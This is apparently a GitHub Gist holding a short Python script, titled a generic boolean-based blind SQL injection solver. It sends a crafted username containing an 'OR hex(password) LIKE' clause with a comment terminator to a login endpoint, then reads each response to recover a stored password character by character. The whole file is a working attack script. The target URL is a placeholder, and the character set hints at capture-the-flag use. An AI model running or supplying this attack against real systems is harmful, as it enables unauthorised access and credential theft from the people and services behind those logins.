Last active
May 20, 2024 22:30
-
-
Save dnorhoj/68dc645fc416482ce31f1a30fc97be39 to your computer and use it in GitHub Desktop.
Generic boolean-based blind sql injection solver
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
URL = "..." | |
def hexify(password: str) -> str: | |
realpass = "" | |
for i in password: | |
if i == "_": | |
realpass += "__" | |
else: | |
realpass += i.encode().hex() | |
return realpass | |
def test(password: str) -> bool: | |
r = requests.post(URL, data={ | |
"username": f'" OR hex(password) LIKE "{hexify(password)}%"; -- -', | |
"password": "hej" | |
}) | |
return "..." not in r.text | |
ALPHA = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789$!{}?._" | |
has = "" | |
while True: | |
for i in ALPHA: | |
if test(has + i): | |
has += i | |
print(has) | |
break | |
else: | |
print("DONE:",has) | |
break |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment